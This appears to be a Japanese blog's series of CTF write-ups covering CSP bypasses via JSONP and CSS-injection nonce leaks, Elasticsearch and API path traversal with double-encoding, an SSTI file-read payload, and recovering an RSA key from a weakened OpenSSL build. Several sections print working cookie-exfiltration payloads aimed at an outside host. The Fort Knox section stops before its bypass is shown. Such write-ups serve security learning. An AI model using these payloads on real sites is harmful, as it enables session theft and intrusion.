CSAW CTF 2019 Qualification Writeup - babycsp (web 50)
最近CTFでてもWriteup書いてなかったのでかく。解いたのはWebの3問。
問題としてはユーザーの入力を保存しておいて、それを表示でき、さらに管理者に通報機能で投稿を管理者にもアクセスさせることができるという最近よくあるパターンの問題。投稿の表示画面にはXSSの脆弱性があるがCSPで守られている。きっと管理者のCookieを盗み出せばいいんだろうと想定し、どうやってCSPを突破すれば良いか考えた。
CSPの指定は次の通り。
Content-Security-Policy: default-src 'self'; script-src 'self' *.google.com; connect-src *
ここで*.google.com
がscript-src
に指定されていることに注目。CSPによる制限をBypassする方法としてJSONPを利用する方法がよく知られていて、*.google.com
が指定されている場合はこの手法を使うことができる。
具体的なURLはググれば出てくるが、例えば以下にまとめられている情報が役に立った。
上記のページにいくつかのJSONPエンドポイントがまとめられているが、記号の利用が制限されていたりする場合がありいくつか試した結果https://accounts.google.com/o/oauth2/revoke?callback=
が最も使いやすかった。
次のようなスクリプトを投稿に書き込み管理者に閲覧してもらうとRequestbinなどを使ってCookieを入手することができる。
<script src="https://accounts.google.com/o/oauth2/revoke?callback=location%3D%27https%3A%2F%2Fexample%2Ecom%2F%3F%27%2Bdocument%2Ecookie%3B"></script>
上記のリクエストで返ってくるJavaScriptは次の通り。
// API callback location='https://example.com/?'+document.cookie;({ "error": { "code": 400, "message": "Invalid JSONP callback name: 'location='https://example.com/?'+document.cookie;'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.", "status": "INVALID_ARGUMENT" } } );
flag{csp_will_solve_EVERYTHING}
TSG CTF 2019 Writeup - BADNONCE Part 1
問題
Reining in the Web with ...? http://35.187.214.138:10023/?q=XSS Please send the flag1.
解き方
問題の調査
与えられたページにアクセスするとそのページのPHPのコードが入手できる。
<?php session_start(); $nonce = md5(session_id()); $_SESSION['count'] = isset($_SESSION['count']) ? $_SESSION['count'] + 1 : 0; if ($_SESSION['count'] > 3){ setcookie('flag2', null, -1, '/'); } if (!isset($_GET['q'])){ header('Location: /?q=[XSS]'); } ?> <html> <head> <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?= $nonce ?>';"> <title>BADNONCE</title> <style>.container{width: 80%;font-size: 17px;} .bold{font-weight: bold;} .note{font-size: 10px;}</style> </head> <body> <h1>BADNONCE</h1> <div id="container" class="container"> <div id="crawler"> <p>You can send me an URL from <a href="/submit/">here</a>.</p> <p>Administrators will check your link. <a href="/part_of_crawler.js">Here is the part of the crawler administrators use.</a></p> <p>This session id was used <?= $_SESSION['count'] ?> times :-)</p> </div> <div id="q" class="note"> <p class="bold">This page uses Content-Security-Policy (CSP). Therefore it's safe from XSS! :-)</p> <script nonce=<?= $nonce ?>> console.log('Welcome to the dungeon :-)'); </script> </div> </div> <!-- Here is an injection point :-) --> <?= $_GET['q'] ?> <hr> <div> <h2>src of this page</h2> <?php highlight_file(__FILE__); ?> </div> </body> </html>
ざっと見るとこんな感じ。
- このページはXSSできるがCSPが設定されている
- CSPは
script-src nonce-XXX
のタイプ - CSPのnonceは
md5(session_id())
で生成されている
また、このadminに任意のページにアクセスさせることができる機能もある。
そしてクロール機能のコードの一部も提供されている。
const puppeteer = require('puppeteer'); const flag1 = process.env.FLAG1; const flag2 = process.env.FLAG2; const current_host = process.env.CURRENT_HOST; const url_base = process.env.APP_URL_BASE; const timeout = parseInt(process.env.TIMEOUT); const browser_option = { executablePath: 'google-chrome-stable', headless: true, args: [ '--no-sandbox', '--disable-background-networking', '--disable-default-apps', '--disable-extensions', '--disable-gpu', '--disable-sync', '--disable-translate', '--hide-scrollbars', '--metrics-recording-only', '--mute-audio', '--no-first-run', '--safebrowsing-disable-auto-update', ], }; const cookies = [ { "domain": current_host, "expirationDate": 1597288045, "hostOnly": false, "httpOnly": false, "name": "flag1", "path": "/", "sameSite": "no_restriction", "secure": false, "session": false, "storeId": "0", "value": flag1, "id": 1 }, { "domain": current_host, "expirationDate": 1597288045, "hostOnly": false, "httpOnly": false, "name": "flag2", "path": "/", "sameSite": "no_restriction", "secure": false, "session": false, "storeId": "0", "value": flag2, "id": 1 }]; /* ... */ const browser = await puppeteer.launch(browser_option); try { const page = await browser.newPage(); await page.goto(url_base, { timeout: 3000, waitUntil: 'networkidle2' }); await page.setCookie(...cookies); await page.goto(url, { timeout: timeout, waitUntil: 'networkidle0' }); } catch (err){ console.log(err); } await browser.close(); /* ... */
方針
flagはクローラーのCookieに入っているが、Cookieの入手にはCSPを突破してJavaScriptを動かす必要がある。CSPの突破にはnonceを入手する必要がある。nonceは属性値であり、CSS Injectionを利用した属性値の窃取テクニックが使えそう*1。
flagの入手
次のような手順でnonceを入手し、flagを得ることができる。
- 用意した罠ページのiframeに攻撃対象のページを読み込む。この際、攻撃対象のページにはnonceの1文字目を外部に送信させるようなCSSをインジェクションしておく。
- サーバーでnonceの1文字目を受信したら罠ページに対して2文字目を漏洩させる処理に移るよう指令を出す。
- 罠ページはiframeの攻撃対象のページを読み込み直す。この際、攻撃対象のページにnonceの2文字目を外部に送信させるようなCSSをインジェクションしておく。
- 1 〜 3を繰り返し、nonceが全て入手できたらそのnonceを使ってCookieを外部に送信させるJavaScriptをインジェクションした攻撃対象ページをiframeに読み込む。
コードにするとこんな感じ。
罠ページのhtml
<body><script src=a.js></script></body>
a.js
const sleep = msec => new Promise(resolve => setTimeout(resolve, msec)); const serverhost = 'YOUR HOSTNAME' (async () => { const iframe = document.createElement('iframe') document.body.appendChild(iframe) let nonce = '' let inject while (true) { inject = `<link rel="stylesheet" type="text/css" href="http://${serverhost}/css?n=' + nonce + '">` iframe.src = 'http://35.187.214.138:10023/?q=' + encodeURIComponent(inject) while (true) { const response = await fetch(`http://${serverhost}/`); const resp = await response.text() if (resp !== nonce) { nonce = resp break } await sleep(100) } if (nonce.length === 32) break } inject = `<script nonce=${nonce}>(new Image).src='http://${serverhost}/?'+document.cookie</script>` iframe.src = 'http://35.187.214.138:10023/?q=' + encodeURIComponent(inject); })();
サーバー
from flask import Flask, Response, request from flask_cors import CORS HOST = "YOUR HOSTNAME" app = Flask(__name__) CORS(app) nonce = "" @app.route("/css") def css(): resp = [] non = request.args.get("n") for ce in "0123456789abcdef": resp.append( f'script[nonce^="{non}{ce}"] {{background:url("http://{HOST}/n?n={non}{ce}");}} ' ) return Response("".join(resp), mimetype="text/css") @app.route("/n") def n(): global nonce if len(nonce) < len(request.args.get("n")): nonce = request.args.get("n") return "ok" @app.route("/") def index(): global nonce return nonce
*1:具体的には過去のWriteupに書いてある。 https://0xiso.hatenablog.com/entry/2018/10/28/215226
TSG CTF 2019 Writeup - Recorded
tl;dr
/dev/input/event1
の記録が与えられ、そこからflagをどのように暗号化したかを特定し、復号する問題。/dev/input/event1
を見ていくと暗号化は最弱になるように改変されたOpenSSLによって行われており、少しのブルートフォースで解くことができる。
問題
何が起こった?
注意 これらのコマンドはJISキーボードのパソコンで実行されました。
$ sudo docker build -t problem . $ sudo docker run -it --device=/dev/input/event1:/dev/input/event1 problem "/bin/bash" root@hogehuga:/tmp# cat /dev/input/event1 > input &
Difficulty Estimate: Medium
与えられたファイル: Dockerfile
, encrypted
, input
解き方
input
は/dev/input/event1
を記録したものなので、キーボードの入力の情報が書かれている。encrypted
はflagを暗号化したものだと想定される。また、Dockerfile
は次の内容であった。
FROM ubuntu:18.04 RUN apt update RUN apt install make -y RUN apt install vim -y RUN apt install gcc -y RUN apt install curl -y RUN apt install libperl5.26 -y COPY flag.txt /tmp/ WORKDIR /tmp/
キー入力の復元
まずはinput
を調べてどのようなキー入力が行われたかを調べる。
ググるとちょうど良さそうなコードが見つかった。
このページに書かれているコードは全てのイベントをキーコードで表示しているため、見やすくするために必要な情報だけを表示するのとキーコードを実際の文字に変換する処理を追加したコードがこちら*1。
import struct import time import sys import evdev infile_path = "input" # long int, long int, unsigned short, unsigned short, unsigned int FORMAT = "llHHI" EVENT_SIZE = struct.calcsize(FORMAT) # open file in binary mode in_file = open(infile_path, "rb") event = in_file.read(EVENT_SIZE) while event: (tv_sec, tv_usec, type, code, value) = struct.unpack(FORMAT, event) if type == 1 and value == 1: k = evdev.ecodes.KEY[code].replace("KEY_", "") if k == "ENTER": print(" [%d.%d]" % (tv_sec, tv_usec)) else: if k == "SLASH": k = "/" elif k == "SPACE": k = "⎵" elif k == "MINUS": k = "-" elif k == "DOT": k = "." print(k.lower(), end=" ") event = in_file.read(EVENT_SIZE) in_file.close()
そしてその出力がこちら。USキーボードの表示になっているので一部読み替える必要があることに注意。また、各入力の末尾の数字はエンターキーが押されたunix timeでこの情報も後に重要になってくる。
r m ⎵ / d e v / u r a tab [1556368653.762255] r m ⎵ / d e v / r a tab [1556368657.67882] leftshift l a n g - c ⎵ d a t e ⎵ - - u t c ⎵ leftshift . ⎵ / d e v / r a n d o m [1556368668.52704] e c h o ⎵ n y a n ⎵ leftshift . . ⎵ / d e v / r a tab [1556368675.376979] c u r l ⎵ - leftshift o ⎵ h t t p s apostrophe / / w w w . o p e n s s l . o r g / s o u r c e / o p e n s s l - 1 . 1 . 1 b . t a r . g z [1556368702.814038] t a r ⎵ x z v f ⎵ o p e tab [1556368713.694218] c d ⎵ o p e tab tab [1556368722.29127] v i m ⎵ c r y tab r a tab r a n d leftshift ro u n i x . c [1556368737.298092] 6 3 7 leftshift g d 1 7 d 6 2 1 leftshift g d 2 d 6 0 3 leftshift g d d 4 8 0 leftshift g d 3 0 d apostrophe w q [1556368782.395446] v i m ⎵ c r tab r a tab r a tab leftshift ro l i tab [1556368793.777170] 2 5 0 leftshift g d 2 d apostrophe w q [1556368806.93882] . / c o tab [1556368808.372191] m a k e ⎵ - j ⎵ 4 [1556368813.732588] c d ⎵ . . [1556368856.711424] leftshift l d ro l i b r a r y ro p a t h - . / o p e tab ⎵ . / o p e tab a p p tab o p e tab g e n r s a ⎵ 1 0 2 4 ⎵ leftshift . ⎵ k e y . p e m [1556368884.121900] leftshift l d ro l i b r a r y ro p a t h - . / o p e tab ⎵ . / o p e tab a p tab o p e tab r s a u t l ⎵ - e n c r y p t ⎵ - i n k e y ⎵ k e y . tab - i n ⎵ f l tab - o u t ⎵ e n c r y p t e d [1556368926.779365] f d backspace g ⎵ 1 [1556368930.934979]
やっていることとは次の通り
/dev/urandom
と/dev/random
の削除/dev/random
に現在時刻とnyan
という文字列の書き込み- OpenSSL 1.1.1bのダウンロードとvimでコードの一部削除、ビルド
- ビルドしたOpenSSLでrsa秘密鍵の生成、生成した鍵でflagの暗号化(これが
encrypted
)
上記と全く同じ状態を作り出して鍵を生成すればflagを復号できそうである。/dev/urandom
は削除されていて/dev/random
は固定されているので不可能ではなさそうな感じがする。
環境の再現
それではやっていく。なお、以降は全てDockerのubuntu:18.04イメージを使って行なっている。
まずはDockerfile
と同じ状況を作る。
apt update; apt install -y make vim gcc curl libperl5.26
次にurandomの削除とrandomの書き換えを行う。ここで、input
によればrandomには現在時刻が書き込まれているがinput
には時刻情報も入っているためここからrandomに書き込まれた時刻を推測できる。
rm /dev/urandom rm /dev/random LANG=C date --utc -d @1556368668 > /dev/random # Sat Apr 27 12:37:48 UTC 2019 echo nyan >> /dev/random
OpenSSLの改変とビルド
適当な場所にOpenSSLをダウンロードして展開する。
curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz tar xf openssl-1.1.1b.tar.gz
展開したファイルをvimを使って編集していく。
crypto/rand/rand_unix.c
に対して次の示す通り指定した行に移動していくつか行を削除して、、、という操作を行う。
637G d17d 621G d2d 603G dd 480G d30d :wq
crypto/rand/rand_lib.c
に対しても同様にvimで次の操作を行う。
250G d2d :wq
変更を行った前と後のdiffはこんな感じ。全くよくわからないが、エラー処理と乱数生成処理の削除・変更をしているように見える。
diff --git a/crypto/rand/rand_lib.c b/crypto/rand/rand_lib.c index d8639c4..cddfb39 100644 --- a/crypto/rand/rand_lib.c +++ b/crypto/rand/rand_lib.c @@ -247,8 +247,6 @@ size_t rand_drbg_get_nonce(RAND_DRBG *drbg, data.instance = drbg; CRYPTO_atomic_add(&rand_nonce_count, 1, &data.count, rand_nonce_lock); - if (rand_pool_add(pool, (unsigned char *)&data, sizeof(data), 0) == 0) - goto err; ret = rand_pool_length(pool); *pout = rand_pool_detach(pool); diff --git a/crypto/rand/rand_unix.c b/crypto/rand/rand_unix.c index 9cbc9ad..e7a4759 100644 --- a/crypto/rand/rand_unix.c +++ b/crypto/rand/rand_unix.c @@ -477,36 +477,6 @@ size_t rand_pool_acquire_entropy(RAND_POOL *pool) unsigned char *buffer; # if defined(OPENSSL_RAND_SEED_GETRANDOM) - { - ssize_t bytes; - /* Maximum allowed number of consecutive unsuccessful attempts */ - int attempts = 3; - - bytes_needed = rand_pool_bytes_needed(pool, 1 /*entropy_factor*/); - while (bytes_needed != 0 && attempts-- > 0) { - buffer = rand_pool_add_begin(pool, bytes_needed); - bytes = syscall_random(buffer, bytes_needed); - if (bytes > 0) { - rand_pool_add_end(pool, bytes, 8 * bytes); - bytes_needed -= bytes; - attempts = 3; /* reset counter after successful attempt */ - } else if (bytes < 0 && errno != EINTR) { - break; - } - } - } - entropy_available = rand_pool_entropy_available(pool); - if (entropy_available > 0) - return entropy_available; -# endif - -# if defined(OPENSSL_RAND_SEED_LIBRANDOM) - { - /* Not yet implemented. */ - } -# endif - -# if defined(OPENSSL_RAND_SEED_DEVRANDOM) bytes_needed = rand_pool_bytes_needed(pool, 1 /*entropy_factor*/); { size_t i; @@ -600,7 +570,6 @@ int rand_pool_add_nonce_data(RAND_POOL *pool) * different process instances. */ data.pid = getpid(); - data.tid = CRYPTO_THREAD_get_current_id(); data.time = get_time_stamp(); return rand_pool_add(pool, (unsigned char *)&data, sizeof(data), 0); @@ -618,8 +587,6 @@ int rand_pool_add_additional_data(RAND_POOL *pool) * The thread id adds a little randomness if the drbg is accessed * concurrently (which is the case for the <master> drbg). */ - data.tid = CRYPTO_THREAD_get_current_id(); - data.time = get_timer_bits(); return rand_pool_add(pool, (unsigned char *)&data, sizeof(data), 0); } @@ -634,23 +601,6 @@ int rand_pool_add_additional_data(RAND_POOL *pool) */ static uint64_t get_time_stamp(void) { -# if defined(OSSL_POSIX_TIMER_OKAY) - { - struct timespec ts; - - if (clock_gettime(CLOCK_REALTIME, &ts) == 0) - return TWO32TO64(ts.tv_sec, ts.tv_nsec); - } -# endif -# if defined(__unix__) \ - || (defined(_POSIX_C_SOURCE) && _POSIX_C_SOURCE >= 200112L) - { - struct timeval tv; - - if (gettimeofday(&tv, NULL) == 0) - return TWO32TO64(tv.tv_sec, tv.tv_usec); - } -# endif return time(NULL); }
あとはこれをビルド(./config && make -j 4
)して鍵を生成してみる。
LD_LIBRARY_PATH=./openssl-1.1.1b/ ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem
何回か鍵を生成してみると毎回鍵が変わっており、作問者と同じ鍵を作れていないことに気づく。これではflagは復号できない。
コードを読んだり試行錯誤したり色々した結果、次の2つが鍵の生成に関わっていることがわかった。
- 現在時刻
- PID
現在時刻の固定
Dockerコンテナでは現在時刻の変更は基本的にできないのでどうしようかとググっていたところlibfaketimeというとんでもなく便利なものを見つけた。
これはコマンドの実行時に環境変数としてFAKETIME="YYYY-MM-DD hh:mm:ss"
のように指定しておくと現在時刻を指定した時刻に固定することできる(他にも色々できる)。次のコマンドでインストールする。
curl -O https://github.com/wolfcw/libfaketime/archive/v0.9.7.tar.gz tar xf v0.9.7.tar.gz cd libfaketime-0.9.7 make install
これで以下のコマンドを試すと時刻が固定されていることがわかる。
FAKETIME="2019-04-27 12:41:24" LD_PRELOAD=/usr/local/lib/faketime/libfaketime.so.1 date # Sat Apr 27 12:41:24 UTC 2019
時刻の固定ができたので鍵を再生成してみるが、前述の通りPIDも鍵の生成に関わっているので生成するたびに異なる鍵ができてしまう。なお、時刻はinput
から取得した時刻を使っている。
FAKETIME="2019-04-27 12:41:24" LD_PRELOAD=/usr/local/lib/faketime/libfaketime.so.1 LD_LIBRARY_PATH=./openssl-1.1.1b/ ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem
PIDの固定
OpenSSLのコードを眺めていたところnonceの生成にPIDが使われていることがわかった。
int rand_pool_add_nonce_data(RAND_POOL *pool) { struct { pid_t pid; CRYPTO_THREAD_ID tid; uint64_t time; } data = { 0 }; /* * Add process id, thread id, and a high resolution timestamp to * ensure that the nonce is unique with high probability for * different process instances. */ data.pid = getpid(); data.time = get_time_stamp(); return rand_pool_add(pool, (unsigned char *)&data, sizeof(data), 0); }
data.pid
の値を1
に書き換えてビルドし直し、時刻を固定して鍵を生成したところ何度生成しても同じ鍵が出来上がることがわかった。残念ながらflagの暗号化に使った鍵の生成時のPIDはわからない(推測はできる?)がLinuxのPIDのデフォルトの上限は32768なので総当たりで試せばflagが復号できそうだ。
PIDの取得処理を次のように書き換えて環境変数FAKEPIDからOpenSSL内で使われるPID番号を変更できるようにする。
data.pid = atoi(getenv("FAKEPID"));
flagの入手
あとはPIDをブルートフォースで見つけるだけ。以下のスクリプトをしばらく回しておいたらPID=8781でflagを復号することができた。
for i in {1..32768}; do echo $i FAKEPID=$i LD_PRELOAD=/usr/local/lib/faketime/libfaketime.so.1 FAKETIME="2019-04-27 12:41:24" LD_LIBRARY_PATH=./openssl-1.1.1b/ ./openssl-1.1.1b/apps/openssl genrsa 1024 > /tmp/key.pem 2>/dev/null cat encrypted | FAKEPID=1 LD_LIBRARY_PATH=./openssl-1.1.1b/ ./openssl-1.1.1b/apps/openssl rsautl -decrypt -inkey /tmp/key.pem -raw | grep -a TSGCTF && break done
TSGCTF{openssl_genrsa_is_hardly_predictable}
どうやら一番最初に解けたっぽい。
ASIS CTF Quals 2019 - Imagyy Part III Writeup
この問題はImagyy Main SiteとImagyy Part IIの続きのようで、問題を解く際にImagyy Main SiteのWebサイトの機能を使う必要がある(たぶん)。Imagyy Part IIを解こうとしていたところ、たまたまImagyy Part IIIのflagを手に入れてしまった。なお、Imagyy Part IIは結局解けなかった。
Imagyy Part IIで与えられたURLにアクセスすると次のページが表示される。
このページにアクセスすると裏では/fetcher
に次のデータ(URLデコード済み)をPOSTする。
uri=/users/{userId}/image/{imageId}&method=get¶ms={"userId": "101", "imageId": "1000001"}
uri=/
とすると次の応答が返ってくる。
{"result":{"code":404,"data":{"data":"Invalid API method","endpoint":"/api/v1/"}}}
/
にアクセスしたいが.
がブラックリストされているようで.
や%2e
を含めるとSecurity failed.
と怒られてしまう。しかし、%252e
のように2回URLエンコードすることでこれを回避できる。
uri=/%252e%252e/%252e%252e/
とすることでAPIの一覧を入手することができる。
{ "image_api": { "ip": "198.211.125.37", "port": 5004, "routes": [ { "name": "query", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "expressInit", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "<anonymous>", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "jsonParser", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "<anonymous>", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "bound dispatch", "keys": [ { "name": "userId", "optional": false, "offset": 17 }, { "name": "imageId", "optional": false, "offset": 38 } ], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/users/:userId/edit/:imageId", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "post" } ], "methods": { "post": true } } }, { "name": "bound dispatch", "keys": [ { "name": "userId", "optional": false, "offset": 17 }, { "name": "imageId", "optional": false, "offset": 40 } ], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/users/:userId/delete/:imageId", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "post" } ], "methods": { "post": true } } }, { "name": "bound dispatch", "params": {}, "path": "/", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } }, { "name": "bound dispatch", "keys": [ { "name": "uri", "optional": false, "offset": 4 } ], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/m/:uri", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } }, { "name": "bound dispatch", "params": {}, "path": "/api/v1/", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } }, { "name": "bound dispatch", "keys": [ { "name": "userId", "optional": false, "offset": 17 }, { "name": "imageId", "optional": false, "offset": 39 } ], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/users/:userId/image/:imageId", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } } ] }, "auth_api": { "ip": "198.211.125.37", "port": 5003, "routes": [ { "name": "query", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "expressInit", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "<anonymous>", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "jsonParser", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "<anonymous>", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "bound dispatch", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/flag", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } }, { "name": "bound dispatch", "params": {}, "path": "/api/v1/issueToken/ip", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/issueToken/ip", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } }, { "name": "bound dispatch", "params": {}, "path": "/api/v1/issueToken/credentials", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/issueToken/credentials", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "post" } ], "methods": { "post": true } } }, { "name": "bound dispatch", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/user/logout", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } }, { "name": "bound dispatch", "params": {}, "path": "/api/v1/user/me", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/user/me", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } } ] } }
このjsonからhttp://134.209.24.24:3000/fetcherへのpostはimage_api(198.211.125.37:5004)に送られていたということがわかる。また、auth_api(198.211.125.37:5003)という別のサーバーの存在もわかる。
興味深いエンドポイントは次の通り。なお、本記事をここまで書いたタイミングでサーバーに繋がらなくなってしまったので以降は記憶を頼りに書いていく。
- http://198.211.125.37:5004/m/:uri
- http://37.139.17.29:8080/:uriにリダイレクトさせる
- http://198.211.125.37:5003/api/v1/issueToken/ip
- 特定のIPアドレスからのアクセス時にtokenを発行する
- 具体的にはhttp://134.209.24.24:3000/fetcher経由でアクセスすればtokenが発行される
- http://198.211.125.37:5003/flag
- tokenを付与してアクセスすればflagが入手できる
上記から分かるように、まずtokenを入手する必要があるがhttp://134.209.24.24:3000/fetcherへのPOSTは198.211.125.37:5004に送られてしまう。ここでImagyy Main Siteという別の問題で37.139.17.29:8080にはオープンリダイレクタが存在していることを知っている必要がある。これを使うことで、http://198.211.125.37:5004/m/:uri -> http://37.139.17.29:8080/のオープンリダイレクタ -> http://198.211.125.37:5003/api/v1/issueToken/ipというリダイレクトのチェーンが可能となる。
あとは、http://134.209.24.24:3000/fetcherに対して前述のリダイレクトチェーンを行うようなリクエストをPOSTすることでtokenを入手し、入手したtokenを付与してhttp://198.211.125.37:5003/flagにアクセスすることでflagを入手できる。
ちなみにこの問題の1番最初の回答者でした。
ASIS CTF Quals 2019 - Dead Engine Writeup
調査
与えられたURLにアクセスすると次のようなページが表示される。何らかの検索サイトっぽい。
*
を入力すると色々結果が出てくる。
このときのサーバーへのリクエストとその応答は次の通り。
POST /?action HTTP/1.1 Host: 192.241.183.207 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 19 q=*&endpoint=search
[{"title":"Test hack password ctf","_id":"AWoSY9ipLaY_ZeX1ck7_","_type":"articles","downloadLink":"https:\/\/127.0.0.1\/"},{"title":"CompTIA Network+","_id":"AWoSY9iqLaY_ZeX1ck8B","_type":"articles","downloadLink":"https:\/\/www.amazon.com\/CompTIA-Network-Certification-Seventh-N10-007\/dp\/1260122387"},{"title":"Cracking Codes with Python","_id":"AWoSY9iqLaY_ZeX1ck8A","_type":"articles","downloadLink":"https:\/\/www.amazon.com\/Cracking-Codes-Python-Introduction-Building\/dp\/1593278225"},{"title":"The Web Application Hacker's Handbook","_id":"AWoSY9ieLaY_ZeX1ck79","_type":"articles","downloadLink":"https:\/\/www.amazon.co.uk\/Web-Application-Hackers-Handbook-Exploiting\/dp\/1118026470"},{"title":"Red Team Field Manual","_id":"AWoSY9iiLaY_ZeX1ck7-","_type":"articles","downloadLink":"https:\/\/www.amazon.co.uk\/Rtfm-Red-Team-Field-Manual\/dp\/1494295504"}]
a a
と入力するとエラーになる。
このときの応答はillegal_argument_exception
であり、このエラーメッセージからバックエンドではElasticsearchを使っていることがわかる。
検索結果をクリックすると次のようなリクエストが投げられる。
POST /?action HTTP/1.1 Host: 192.241.183.207 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 23 id=AWoSY9ipLaY_ZeX1ck7_
応答はこんな感じ。
"{\"_index\":\"articles\",\"_type\":\"articles\",\"_id\":\"AWoSY9ipLaY_ZeX1ck7_\",\"_version\":1,\"found\":true,\"_source\":{\"title\":\"Test hack password ctf\",\"category\":\"Computing & Internet -> Networking & Security\",\"downloadLink\":\"https:\/\/127.0.0.1\/\",\"rating\":5,\"price\":\"1000\",\"access\":\"nowhere\",\"date\":\"4\/12\/2019, 4:31:34 PM\"}}"
解き方
ガチャガチャいじっている中で、q=aaa&endpoint=/bbb
というリクエストを投げるとError while JSON decoding:No handler found for uri [/articles/articles/_/bbb?q=aaa] and method [GET]
というエラーが返ってきた。
/bbb
にはもともとsearch
が入っていたので、どうやらElasticsearchの_search
で検索をしているということがわかる。また、検索対象をarticlesインデックスのarticlesタイプに絞っていることもわかる。全インデックスを検索対象にする場合はシンプルに/_search?q=*
とすれば良い。つまり以下のようなリクエストを投げることにより全てのインデックスのデータが返される。
q=*&endpoint=/../../../_search
応答は次の通り。
... { "title": "Flag Is Here, Grab it :)", "_id": "AWoSY9h7LaY_ZeX1ck78", "_type": "fl4g?", "downloadLink": null } ...
残念ながらまだflagはわからないが、これでflagが書かれているであろうドキュメントのidとtypeが判明した。
引き続きガチャガチャいじっているとid=AAA+BBB
というリクエストを投げた際に"{\"error\":{\"root_cause\":[{\"type\":\"illegal_argument_exception\",\"reason\":\"invalid version format: BBB HTTP\/1.1\"}],\"type\":\"illegal_argument_exception\",\"reason\":\"invalid version format: BBB HTTP\/1.1\"},\"status\":400}"
というエラーが返されることに気づく。BBB HTTP/1.1
が無効なバージョンフォーマットということはバックエンドのElasticsearchサーバーに次のようなリクエストが投げられているということが想定できる。
GET /?????/?????AAA BBB HTTP/1.1 ...
これを利用することで、indexは次のリクエストで調べることができる。なお、/_
という文字列がblacklistされているようだが2回URLエンコードすることでこれを回避している(フロントエンドのWebサーバーで2度デコードされ、Elasticsearchで2回目のデコードがされる)。
id=/../../../%25%35%66aliases
"{\"secr3td4ta\":{\"aliases\":{}},\"articles\":{\"aliases\":{}}}"
これでindexがsecr3td4ta
であることが判明する。
あとは次のリクエストでflagが書かれているドキュメントを読みだすことができる。
id=/../../../secr3td4ta/fl4g%253f/AWoSY9h7LaY_ZeX1ck78
"{\"_index\":\"secr3td4ta\",\"_type\":\"fl4g?\",\"_id\":\"AWoSY9h7LaY_ZeX1ck78\",\"_version\":1,\"found\":true,\"_source\":{\"title\":\"Flag Is Here, Grab it :)\",\"flag\":\"ASIS{2a6e210f10784c9a0197ba164b94f25d}\"}}"
flagは次の通り。
ASIS{2a6e210f10784c9a0197ba164b94f25d}
ASIS CTF Quals 2019 - Fort Knox Writeup
与えられたURLにアクセスすると次ようなページが表示される
調査
Check door 1 🚪
をクリックするとDoor #1 is locked
と表示されアクセスができない。他のドアについても同様。
question?
というフォームにaaa
と入力すると次のページが表示される。
ページのソースコードを見ると次の記述がありhttp://104.248.237.208:5000/static/archive/SourceにアクセスするとこのWebアプリのソースコードの一部を入手できる。
<!--Source Code: /static/archive/Source -->
入手できるコードは次の通り。
question?
で入力した値は12行目でテンプレートとして扱われていることがわかる。
t = Template(question)
解き方
入力値をそのままテンプレートとして使っているのでServer-Side Template Injection(SSTI)ができる*1。実際に{{ 1 + 2 }}
と入力すると3
が返ってくる。
次のテンプレートを処理させることでflagにアクセスするための情報が書いてありそうなfort.py
を読みだしたいところだが入力値に._%
のいずれかが含まれている場合に弾く処理があるのでこれを回避する必要がある。
{{ [].__class__.__base__.__subclasses__()[40]('fort.py').read() }}
色々試した結果、次のようにすることで制限を回避できた。
